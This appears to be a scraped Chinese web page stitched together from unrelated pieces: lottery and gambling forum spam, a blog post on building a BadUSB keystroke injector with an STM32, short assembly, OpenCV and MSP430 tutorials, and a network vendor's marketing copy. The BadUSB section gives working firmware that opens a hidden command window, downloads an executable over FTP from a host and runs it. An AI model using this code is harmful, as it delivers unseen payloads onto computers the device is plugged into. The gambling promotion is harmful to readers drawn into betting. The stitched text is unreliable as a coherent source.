结构力学求解器教程。。。

奇人中特网为您提供:香港六合彩|开奖结果|开奖记录|曾道人|白小姐|香港赛马会|看图解特码|百家乐|博彩网|六合彩图库等特码快报资料|记住状态&找回密码
近10天话题
有一个疑问憋在心里很久了,也不知道怎么跟人说,今天在这里向各位前辈们求解求解下。如果一个男人喜欢看A片的话,而且是偷偷摸摸的看。都是趁妻子不在的情况下...作为妻子的我很心理不平衡,有时候想想吧男人不都是这样吗?心情不好的时候想想又很气,看也可以干嘛非得背着我呢?以为我不知道呢,又不知道怎么跟他说这个事,怕伤他自尊心...只有自己伤心,他这样尊重我吗?希望各位 哥哥姐姐们可以帮我出出主意、 谢谢了
&话题账主:隐藏
该怎么办 (12)
该怎么办 (2)
该怎么办 (4)
微山湖的鱼
xinba1984922
湖州小男人
123456xiaonvren大观园心水论坛()六合彩开奖记录|香港六合彩开奖结果|港台最快直播开奖结果|香港六合彩|曾道人|白小姐|惠泽社群|香港赛马会|liuhecai|六合采|六和彩|6合彩|六合彩图库
前方无绝路.希望在转角.
大观园心水论坛的宗旨:造福彩民,打击庄家!目前拥有网上最强的六合彩高手,欢迎各路高手来此发表心水!
大观园心水论坛诚邀各路高手来本站发表心水,做到100%让您满意是我们的宗旨,大观园永远离不开您的大力支持!
网站导航【】【】
&&&&&&请输入用户名查找:
【大观园论坛管理员】 【大观园论坛管理员】 【大观园论坛管理员】 【大观园论坛管理员】 【大观园论坛管理员】 【大观园论坛管理员】 【大观园论坛管理员】 【黄金甲】 【海盗船】 【积分通】 【可达】 【练习课】 【冷冻库】 【噢打开】 【历史课】 【阿斯觉得】 【罗迪克人】 【可打网球】 【伟大程度】 【据诶天天】 【海关头发】 【新胜达】 【珀尔偶的】 【太原市】 【发生认识】 【发生认识】 【怕我们的】 【坡屋顶】 【波大时代】 【顺德区】 【柔柔弱弱】 【财源广进】 【大观园论坛管理员】 【非常网络】 【董事平码】 【广州夏先生】 【砸钱】 【六码中特】 【宝马】 【直升飞机】 【黄鹤楼】 【惊世少年】 【六码中特】 【神马浮云】 【从未变过】 【约定俗成】 【从未变过】 【蓝色的天空】 【夜独醉】 【山玉龙】 【输惨了】 【老左来了】 【起死回生】 【你是高手】 【烂赌英雄】 【小帅哥】 【变脸怪侠】 【新任务】 【健康是福】 【一夜成名】 【天天赌博】 【锦囊妙计】 【奥申委】 【梦醒时分】 【热肠人】 【好料救了我】 【四大美人】 【独一无二】 【练习课】 【唯舞独尊】 【爱恨之间】 【马会送特】 【居委会】 【我是杀猪的】 【两情相悦】 【白马王子】 【恭喜发财】 【居委会】 【打造富翁】 【艰苦奋斗】 【潮鸣电掣】 【恭喜发财】 【练习课】 【中常侍】 【发大水】 【乱放进恩】 【狂热】 【夕阳红】 【铃儿叮当】 【既定的】 【无所谓】 【爱你不后悔】 【恭喜发财】 【春暖花开】 【地下钱庄】 【最新理财】 【九五之尊】 【答案很多】 【神与日寇】 【恭喜发财】 【卡为彩民】 【练习课】 【风头正劲】 【造福彩民】 【流星雨】 【神与日寇】 【恶狼传说】 【马报最热】 【非诚勿扰】 【江南春城】 【生肖公式】 【天涯同路人】 【神算六合】 【随心随意】 【东方财神】 【复式】 【六码中特】 【乱放进恩】 【天涯同路人】 【恶狼传说】 【六码中特】 【卡为彩民】 【史蒂文】 【艰苦奋斗】 【阿科德克】 【六合至尊】 【一肖平特】 【度融入到】 【生肖富贵门】 【大刺客】 【秦帝国】 【恶狼传说】 【潮鸣电掣】 【东方不败】 【效能建设】 【积分金凤凰】 【恶狼传说】 【仙凡道】 【生肖公式】 【何妨】 【而成可】 【约定俗成】 【大刺客】 【大将风度】 【江南春城】 【天涯同路人】 【江南春城】 【港头老大】 【卡为彩民】 【防晒剂】 【白订金门】 【古诗词】 【江南春城】 【生肖公式】 【京东网】 【侠盗飞车】 【艰苦奋斗】 【史蒂文】 【霍华德】 【大刺客】 【生肖奋斗】 【神行符】 【稳赚生肖】 【白订金门】 【生肖奋斗】 【积分金凤凰】 【答案很多】 【仙凡道】 【复式】 【江南春城】 【天天忽悠】 【霍华德】 【潮鸣电掣】 【潮鸣电掣】 【名可千万】 【一码诺福克】 【答案很多】 【苦大仇深】 【发个红包】 【开封网】 【非诚勿扰】 【何妨】 【既定的】 【弗洛姆】 【恶狼传说】 【高手华东】 【湿哒哒】 【额多彩民】 【天涯同路人】 【狂诗曲】 【企业存款】 【缓称王】 【潮鸣电掣】 【恶狼传说】 【鬼谷下山】 【开封网】 【效能建设】 【江南春城】 【公式平特】 【神算六合】 【而成可】 【生肖富贵门】 【甜腻腻】 【弗洛姆】 【神与日寇】 【非常网络】 【乱放进恩】 【大将风度】 【非常网络】 【积分金凤凰】 【白订金门】 【艰苦奋斗】 【欧二鸥】 【一肖平特】 【古诗词】 【一码诺福克】 【乱放进恩】 【花千骨】 【度融入到】 【高手华东】 【东方不败】 【神行符】 【江南春城】 【大将风度】 【额多彩民】 【额多彩民】 【何妨】 【一肖平特】 【资源库】 【弗洛姆】 【霍华德】 【京东网】 【气定神闲】 【而成可】 【特别深刻】 【约定俗成】 【一肖平特】 【克凤尾草】 【公式平特】 【一码诺福克】 【高手华东】 【京东网】 【恶狼传说】 【秦帝国】 【非常网络】 【企业存款】 【高兽决】 【八脚蜘蛛】 【神与日寇】 【一肖平特】 【稳赚生肖】 【缓称王】 【狂诗曲】 【六码中特】 【仙凡道】 【联合达州】 【秦帝国】 【大刺客】 【天涯同路人】 【答案很多】 【公式平特】 【江南春城】 【高兽决】 【龙门镖局】 【生肖奋斗】 【稳赚生肖】 【生肖奋斗】 【江南春城】 【霍华德】 【何妨】 【狂热】 【和可信度】 【秦帝国】 【效能建设】 【而成可】 【弗洛姆】 【约定俗成】 【大刺客】 【秦帝国】 【老本行】 【答案很多】 【六码中特】 【非常网络】 【恶狼传说】 【资源库】 【六码中特】 【资源库】 【许多高手】 【东方不败】 【天涯同路人】 【何妨】 【狂热】 【白订金门】 【生肖富贵门】 【天涯同路人】 【疏水阀】 【狂诗曲】 【神算六合】 【大刺客】 【答案很多】 【用户积分】 【刚尤其是】 【非常网络】 【舍得放入】 【公式平特】 【一肖平特】 【神与日寇】 【古诗词】 【六码中特】 【公式平特】 【大刺客】 【多走一步】 【大将风度】 【一肖平特】 【大将风度】 【非常网络】 【防晒剂】 【生肖公式】 【古诗词】 【狂诗曲】 【防晒剂】 【京东网】 【弗洛姆】 【高手华东】 【高手华东】 【而成可】 【粉红玫瑰】 【艰苦奋斗】 【企业存款】 【神算六合】 【既定的】 【霍华德】 【企业存款】 【恶狼传说】 【白订金门】 【开封网】 【高手华东】 【艰苦奋斗】 【公式平特】 【资源库】 【非诚勿扰】 【财雄势大】 【卡为彩民】 【弗洛姆】 【生肖公式】 【京东网】 【弗洛姆】 【名可千万】 【弗洛姆】 【弗洛姆】 【一码诺福克】 【效能建设】 【艰苦奋斗】 【生肖富贵门】 【复式】 【秦帝国】
本论坛最新325页
友情链接:
免责声明:以上资讯均为发表者个人所有,本站不对其经营行为负责,因资料上的差异或遗漏而导致浏览者有任何损失.
如引为它用后果自负,本站概不负责;如因本站信息所引起的所有民事诉讼均或相关均与本站无关.特此声明.
大观园提醒六合彩爱好者:切勿沉迷赌博,购买六合彩只可娱乐!收藏大观园高手论坛,就是收藏财富.
香港六合彩大观园六合网官方授权,拒绝转载.时间: August 14, 2015
很久之前就闻名BADUSB了,有两种方式,一是通过应用层,用硬件实现一个可编程键盘实现,二是通过usb-hid漏洞实现。我选择前者,其实初中时,看见按键精灵的硬件版我就知道有这个东西了,当时不懂嵌入式,当然实现不了啦。为什么需要按键精灵硬件版?一般外挂都是通过软件模拟按键/驱动winio库等实现,这个一般容易被反外挂系统检测输出,且开发难度大,而直接实现一个可编程的实体硬件键盘/鼠标,这种方式可靠得多。
BadUSB基本思路是通过硬件实现一个可编程的键盘(其实说键盘信号输入器更适合),发送指定按键信息到键盘,启动windows系统的cmd,再通过输出vbs或者cmd自带的ftp,执行各种邪恶的代码,达到邪恶的目的。
关于stm32的USB口设置,参考了很多资料,找到了一个比较简单的设置(/link?url=MYnNZQUJBw0t-mI6bpmP9LgjY7sixRJ9V-jnejtFGvcrgfl8XqBcGDsSFJXfyOmINZXvY2wjAmHF5CxIM_nT96svEqaXkXkO4zWYZ_UwjF3),就用了三个电阻:
由于我手里除了microUSB就剩USB母口了,想起microUSB很痛苦与固定的不稳定因素(我见过很多人把开发板的microUSB直接拔起来了),所以还是选用USB母口吧,反正手里有两头都是公口的USB线,刚刚好。马上开始母口资料搜集:
结合上面东西,马上开始画板,我又用sprintlayout了,为什么不用ad?这种小东西如果上ad会有种打炮打蚊子的感觉:
下载PCB:/1fexk
最终做出来就是这样啦,热转印样子就这样啦,没理由这点东西还拿去打样吧,哈哈,不用洞洞板做就已经不错了:
硬件部分就这样完了,接下来就是软件了,其实就是实现HID协议,所谓的HID协议,说白了就是一些数字信号:
当然,上面的不是HID的图,网上随便找的...我也想家里有个示波器...
其实实现HID协议要对USB很了解,但是我们是应用型人才嘛!要真正了解USB要很久,看看圈圈哥那本书(如果你想玩USB,不知道圈圈哥那本教你玩USB的书,那你就别学了,哈哈,书上有用at89s52实现键盘和鼠标的例子)就知道了,几百页。
虽然这样,天无绝人之路,keil提供的stm32例程中有一份叫JoyStickMouse,就是用stm32实现摇杆USB设备,其实大同小异,仅需要对这份东西进行修改,设备包等,就能实现一个虚拟USB键盘了。
找不到的朋友,这里提供这份东西下载(keil arm 4):/1fexm
其实在keil的安装目录就有,还有很多丰富的资源,一开始我以为是st官方提供的,想不到是keil提供的。你特么逗我...
主要修改的教程是根据/posts/list/10971.htm 这位前辈的资料进行修改的。大家修改好应该就差不多了,我在这里提供一下自己的修改部分:
void Joystick_Send(uint8_t win_buf,uint8_t key_buf)
uint8_t Mouse_Buffer[8] = {0, 0, 0, 0, 0, 0, 0, 0}
/* prepare buffer to send */
Mouse_Buffer[0]=win_
Mouse_Buffer[2]=key_
/*copy mouse position info in ENDP1 Tx Packet Memory Area*/
UserToPMABufferCopy(Mouse_Buffer, GetEPTxAddr(ENDP1), 8);
/* enable endpoint for transmission */
SetEPTxValid(ENDP1);
win_buf是组合键键值,例如shift键0x02(百度了很久才知道这个键值),微软小旗子那个键键值0x80。key_buf为普通键键值(键值可以参考这份HID协议1.1 /1fexp)。一共发送的数据为1字节*8 第一个字节为组合键win_buf,第二个固定为0,第三个为key_buf。
发送{0,0,0,0,0,0,0,0}则松开所有键。
经过辛苦的测试,正常发送一次按键信息如下:
Joystick_Send(0,0x04);
Delay(300000);
Joystick_Send(0,0);
这样就输入了一个A,72MHz频率下自减300000次的时间。
实现了输入按键信息,懒人又想方便一点执行按键信息了
没问题!咱用在stm32上实现printf的重定向。但是这个重定向有点特殊,不是输出到串口1里,是输入到按键信息,哈哈,看代码吧:
int fputc(int ch, FILE *f){
if(ch=='a' || ch=='A'){
Joystick_Send(0,0x04);
else if(ch=='b' || ch=='B'){
Joystick_Send(0,0x05);
else if(ch=='c' || ch=='C'){
Joystick_Send(0,0x06);
else if(ch=='d' || ch=='D'){
Joystick_Send(0,0x07);
else if(ch=='e' || ch=='E'){
Joystick_Send(0,0x08);
else if(ch=='f' || ch=='F'){
Joystick_Send(0,0x09);
else if(ch=='g' || ch=='G'){
Joystick_Send(0,0x0A);
else if(ch=='h' || ch=='H'){
Joystick_Send(0,0x0B);
else if(ch=='i' || ch=='I'){
Joystick_Send(0,0x0C);
else if(ch=='j' || ch=='J'){
Joystick_Send(0,0x0D);
else if(ch=='k' || ch=='K'){
Joystick_Send(0,0x0E);
else if(ch=='l' || ch=='L'){
Joystick_Send(0,0x0F);
else if(ch=='m' || ch=='M'){
Joystick_Send(0,0x10);
else if(ch=='n' || ch=='N'){
Joystick_Send(0,0x11);
else if(ch=='o' || ch=='O'){
Joystick_Send(0,0x12);
else if(ch=='p' || ch=='P'){
Joystick_Send(0,0x13);
else if(ch=='q' || ch=='Q'){
Joystick_Send(0,0x14);
else if(ch=='r' || ch=='R'){
Joystick_Send(0,0x15);
else if(ch=='s' || ch=='S'){
Joystick_Send(0,0x16);
else if(ch=='t' || ch=='T'){
Joystick_Send(0,0x17);
else if(ch=='u' || ch=='U'){
Joystick_Send(0,0x18);
else if(ch=='v' || ch=='V'){
Joystick_Send(0,0x19);
else if(ch=='w' || ch=='W'){
Joystick_Send(0,0x1A);
else if(ch=='x' || ch=='X'){
Joystick_Send(0,0x1B);
else if(ch=='y' || ch=='Y'){
Joystick_Send(0,0x1C);
else if(ch=='z' || ch=='Z'){
Joystick_Send(0,0x1D);
else if(ch=='\n'){
Joystick_Send(0,0x58);
else if(ch=='1'){
Joystick_Send(0,0x1E);
else if(ch=='2'){
Joystick_Send(0,0x1F);
else if(ch=='3'){
Joystick_Send(0,0x20);
else if(ch=='4'){
Joystick_Send(0,0x21);
else if(ch=='5'){
Joystick_Send(0,0x22);
else if(ch=='6'){
Joystick_Send(0,0x23);
else if(ch=='7'){
Joystick_Send(0,0x24);
else if(ch=='8'){
Joystick_Send(0,0x25);
else if(ch=='9'){
Joystick_Send(0,0x26);
else if(ch=='0'){
Joystick_Send(0,0x27);
else if(ch=='!'){
Joystick_Send(0x02,0x1E);
else if(ch=='@'){
Joystick_Send(0x02,0x1F);
else if(ch=='#'){
Joystick_Send(0x02,0x20);
else if(ch=='$'){
Joystick_Send(0x02,0x21);
else if(ch=='%'){
Joystick_Send(0x02,0x22);
else if(ch=='^'){
Joystick_Send(0x02,0x23);
else if(ch=='&'){
Joystick_Send(0x02,0x24);
else if(ch=='*'){
Joystick_Send(0x02,0x25);
else if(ch=='('){
Joystick_Send(0x02,0x26);
else if(ch==')'){
Joystick_Send(0x02,0x27);
else if(ch==' '){
Joystick_Send(0,0x2C);
else if(ch=='-'){
Joystick_Send(0,0x2D);
else if(ch=='='){
Joystick_Send(0,0x2E);
else if(ch=='['){
Joystick_Send(0,0x2F);
else if(ch==']'){
Joystick_Send(0,0x30);
else if(ch=='\\'){
Joystick_Send(0,0x31);
else if(ch==';'){
Joystick_Send(0,0x33);
else if(ch=='\''){
Joystick_Send(0,0x34);
else if(ch==','){
Joystick_Send(0,0x36);
else if(ch=='.'){
Joystick_Send(0,0x37);
else if(ch=='/'){
Joystick_Send(0,0x38);
else if(ch=='_'){
Joystick_Send(0x02,0x2D);
else if(ch=='+'){
Joystick_Send(0x02,0x2E);
else if(ch=='{'){
Joystick_Send(0x02,0x2F);
else if(ch=='}'){
Joystick_Send(0x02,0x30);
else if(ch=='|'){
Joystick_Send(0x02,0x31);
else if(ch=='~'){
Joystick_Send(0x02,0x32);
else if(ch==':'){
Joystick_Send(0x02,0x33);
else if(ch=='"'){
Joystick_Send(0x02,0x34);
else if(ch=='<'){
Joystick_Send(0x02,0x36);
else if(ch=='>'){
Joystick_Send(0x02,0x37);
else if(ch=='?'){
Joystick_Send(0x02,0x38);
Delay(300000);
Joystick_Send(0,0);
这个可能有点不全,但应该够用了,大家也看到了这种代码难度不大,但是很枯燥,是啊,可偏偏打雷了!断电了!来电后打开main.c傻眼了...
int main(void)
Set_System();
USB_Interrupts_Config();
Set_USBClock();
USB_Init();
Joystick_Send(0x80,0x15);
Delay(300000);
Joystick_Send(0,0);
Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);
printf("cmd /t 01 /K mode CON: COLS=16 LINES=1\n");
Delay(300000);
printf("ftp\n");
Delay(300000);
printf("open 192.168.1.175\n");
Delay(300000);
printf("anonymous\n");
Delay(300000);
printf("\n");
Delay(300000);
printf("get ./FTPserver.exe\n");
Delay(300000);
printf("quit\n");
Delay(300000);
printf("ftpserver\n");
Delay(300000);
printf("exit\n");
Delay(300000);
上面的代码应该很清晰了,按下组合键Win+R,输入cmd以及参数 /t 01 /K mode CON: COLS=16 LINES=1
/t 01 改变cmd背景颜色和文字颜色
/k 执行后面的代码 mode CON: COLS=16 LINES=1
修改缓冲区长度为16,行数为1
启动后输入ftp,并进行登录
下载邪恶的执行文件后运行,BadUSB的使命也就完成了,接下来就交给邪恶的执行文件了工程源码:/1fext
时间: August 11, 2015
时间: May 16, 2015
我用的书是《深入理解程序设计——使用LINUX汇编语言》
Linux发行版为:Fedora
================================================
实验内容:
几种寻址方式的总结
1.直接寻址:
movl ADDRESS , %eax #ADDRSS是一个“标签” 是把ADDRESS代表的内存地址装载到%eax
2.立即寻址:
movl $0 , %eax #把常量0(十进制)载入到%eax
3.间接寻址:
movl (%eax) , %ebx #如果%eax的值为一个内存地址 那么就将这个内存地址里的值载入到%ebx
4.基址寻址:
movl 4(%eax) , %ebx #把%eax的值作为内存地址+4(字节) 的值载入到%ebx
5.索引寻址:
movl data_list(,%edi,4) , %eax #上一个实验用到 就是把 data_list指向地址+%edit*4+括号一开始的第一个参数(%基址货偏移量寄存器 没有为0)的值载入到%eax中
================================================
实验内容:
编写一个寻找最大值的汇编程序
.section .data #数据段
data_list: #创建一个地址指向long的数据
.long 1,22,33,66,88,99,44,220,1,222,13,0 #最后一个为0 用于检测结尾
#除了.long类型 还有 .int .ascii
.section .text #文本段 即代码
.global _start #声明程序入口
_start: #入口
movl $0 , %edi #%edi用于存放取数的序列 把0放进去
movl data_list(,%edi,4) , %eax #取第一个 其实是data_list的地址+%edi*4 然后在这个地址取值,那么为什么是4呢?因为我们的数据是.long 4个字节,那么编译器怎么知道我们要取的数是4个字节的呢(学过inte风格汇编的朋友可能会问),请注意我们这里用的是movl,l就是long,这是at&t的风格,w/b请参考http://blog.chinaunix.net/uid--id-1846271.html 这篇文章
movl %eax , %ebx #把第一个取得的数放到%ebx ,%ebx作为存放最大数的寄存器
cmp_loop: #循环标签 与C的goto标签差不多
cmpl $0 , %eax #判断取得的数是否等于0 如果是则结束跳到cmp_exit
je cmp_exit #je就是第一个数等于第二个数 jl就是第一个数大于第二个数 jle 就是第一个数大于或等于第二个数 jg就是第一个数小于第二个数 jge就是第一个数小于或等于第二个数 如果条件成立就跳转到退出 cmp_exit
incl %edi #incl就是自加1 decl就是自减1 这一点书本没说阿
movl data_list(,%edi,4) , %eax #取下一个数到%eax
cmpl %eax , %ebx
jge cmp_loop #比较十分大于或等于 大于或等于则执行下一条 把更大的数载入%ebx
movl %eax , %ebx
jmp cmp_loop #继续跳转到cmp_loop循环判断
movl $1 , %eax #到了这里 最大值已经存放到 %ebx里面了 把1放到%eax 调用内核exit
int $0x80 #中断请求 调用内核推出 最大值可以用echo $? 查看
================================================
实验内容:
编写第一个汇编程序;
进行编译/运行;
程序代码:
.section .data
.section .text
.global _start
movl $1 , %eax
movl $0 , %ebx
Linux X86汇编是at&t风格的,与以前学的intel风格差了不少,注释与python一样用#
.section .data #表示程序数据段 这个程序没有任何数据
.section .text #表示文本段 用来储存指令
.global _start #用来告诉汇编后还需要用到这个_start的符号 其实这个是汇编程序的一个特殊的符号 与C的main一样 是程序的入口
书本上用的是.globl 但是我产生的疑惑 全局声明不应该是.global么 ,于是百度了以下,每找到区别,自己实验了一下,效果是一样的
_start: #声明子程序名
movl $1 , %eax #表示把值1移动到eax寄存器里面 据书介绍是表示调用内核exit的意思
movl $0 , %ebx #将退出号储存到ebx寄存器里 让下一句退出使用 相当于C的return A ,而这句就是给A赋值
int $0x80 #int是interrrupt中断的意思 0x80是一个系统中断信号
#意思就是通过设置好寄存器 然后通过中断来提交给系统
as exit.s -o exit.o 得到目标文件(机器码)
ld exit.o -o exit
如果我们想得到返回号就这样运行:
./ echo $?
时间: May 15, 2015
1.首先安装OpenCV,我的是Fedora,用yum:
sudo yum install opencv opencv-devel
2.要想用Python,就得安装Py的模块:
sudo yum install opencv-python
import cv2 #载入cv库
img=cv2.imread("./m.jpg") #加载图片 image read
cv2.imshow("OpenCV1",img) #显示一个图片对象 image show 第一个参数为标题 第二个就是图片对象
cv2.waitKey(0) #等待任意按钮按下 阻塞
cv2.destroyAllWindows() #释放所有窗口
4.使用cv2.imwrite保存图像对象
cv2.imwrite("./m1.jpg",img,[1,9]) #image write 第一个参数为路径,第二个为图像对象,第三个参数的第一个为图像质量,范围0-100,第二个为压缩级别0-9,压缩级别越高,像素越小,画布不变
时间: May 14, 2015
1.MSP430F149有6组I/O,从1开始到6,每组I/O有8个I/O,从0到7,每一个I/O口都有复用功能,由PxSEL控制,默认为0,即为普通I/O口。当PxSEL为1时,对应的I/O口便作为功能I/O使用,对应的I/O外部中断也会失效(参考:/question_answer/microcontrollers/msp430/f/55/t/69651.aspx)。
2.MSP430的P1/P2可以作为中断I/O使用,由1可知,要使用作为外部中断I/O,先要把PxSEL设置为0(即默认值)。要使用I/O中断,先把PxDIR设置为0,即为输入(参考:/mcu/4221.html),然后设置中断触发沿——PxIES,0为0 to 1触发,1则相反。
3.设置好后,使能I/O中断,即PxIE设置某个位为1,然后开启全局中断_BIS_SR(GIE);
4.中断接口编写
头文件里面找到的中断常量:
#define PORT2_VECTOR
/* 0xFFE2 Port 2 */
#define PORT1_VECTOR
/* 0xFFE8 Port 1 */
接口代码:
#pragma vetor=PORT1_VECTOR
__interrupt void 函数名(void){
//由于多源中断,可以利用PxIFG判断中断源,判断完成后需要手动清除
//用户处理代码
5.PxSEL作为复用选择,当使用第二功能时,设置为1。
6.PxDIR设置I/O的方向,1为输出,0为输入。
7.PxIN作为I/O的输入,读取。
8.PxOUT作为I/O的输出。
C语言提示:
P1的0写1:
P1OUT |=0x01;
P1的0写0:
P1OUT &=~0X01;
P1的0取反:
P1OUT ^=~0x01;地址:深圳市龙华新区东环一路油松商务大厦18楼
邮编:518109
周一至周日:早8点-晚22时
郑州碧佳实业成立于2001年,旗下拥有“上海家化佰草集河南事业部”、“上海家化佰草集安徽事业部”、“上海家化清妃、高夫河南事业部”、 “ARTDECO彩妆”等机构,是一家集化妆品、彩妆等高档消费品销售、品牌推广、渠道建设为一体的综合型企业。 伴随着企业的快速发展,身为著名化妆品品牌“佰草集”河南总代理的碧佳实业对企业网也有了更多的规划和需求。此次联系到了维盟工作人员,主要提出了以下几点需求:......
还在刷优衣库???视频调查结果出来了:男女猪脚现均已被警察蜀黍带走!想看优衣库的朋友可以准备散场离席了。 可,真正的好戏还在后头……TT网咖位于延安市繁华的百米大道中段,周边各种高档场所云集,网咖111台电脑,简约复古的装修风格搭配高端的机器配置,32寸高端显示器,Intel四核处理器,NV960 2G显卡,震动多声道耳机,机械键盘“啪啪啪”的声响,听起来就是爽啊! 网吧采用电信百......
话说最近的北大清华招生“互掐”事件,无疑向我们宣示着一个巨大的事实——招生难!各大高校招生办每天喊招生难,你深挖原因了吗?小编冒着被老板发现用上班的时间给各大高校招生办总结了以下几点(我容易嘛我):忽视营销招生,片面注重口碑!在整体经营上,缺乏营销意识或营销意识刚刚启蒙,片面注重教学服务口碑是很多中小型教育机构的通病。口碑是什么?口碑是教育机构运营后半阶段——教......
在艺术家的巧手之下,任何物品似乎都能化身为艺术品。 ↑ 盛开的“瓷片之花” 在网络工程师的改造之下,一座陶瓷之城又会有怎样的美丽绽放呢? 淄博陶瓷工业园地处有着“陶瓷琉璃之乡”的淄博高新区,是2007年国家科技部火炬中心正式下文批准建立的“国家火炬计划淄博先进陶瓷产业基地”。园区用地面积11.9公顷,总建筑面积29万平方米,塔楼建筑高度99.8米,是全国最大的集陶瓷研究、开发、展示、销售、......
Cabbeen(卡宾)是知名服装设计师卡宾1997年在香港创立的个性休闲男装品牌,现在已经成为中国原创潮流男装的代名词。日前,Cabbeen培训大会在广州合晋帝苑酒店举行,来自全国各地的150多余人参加此次培训。会议期间,与会者通过使用手机APP,连接到OA系统,进行系统培训。 维盟科技作为此次会议无线设备提供网络厂商,出色完成了为会场宴厅提供流畅WLAN体验的任务!在会议期间以及会后随机参访......
COPYRIGHT &
深圳维盟科技有限公司.ALL RIGHTS RESERVED.
本网站由提供技术支持}

我要回帖

更多关于 excel单变量求解 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信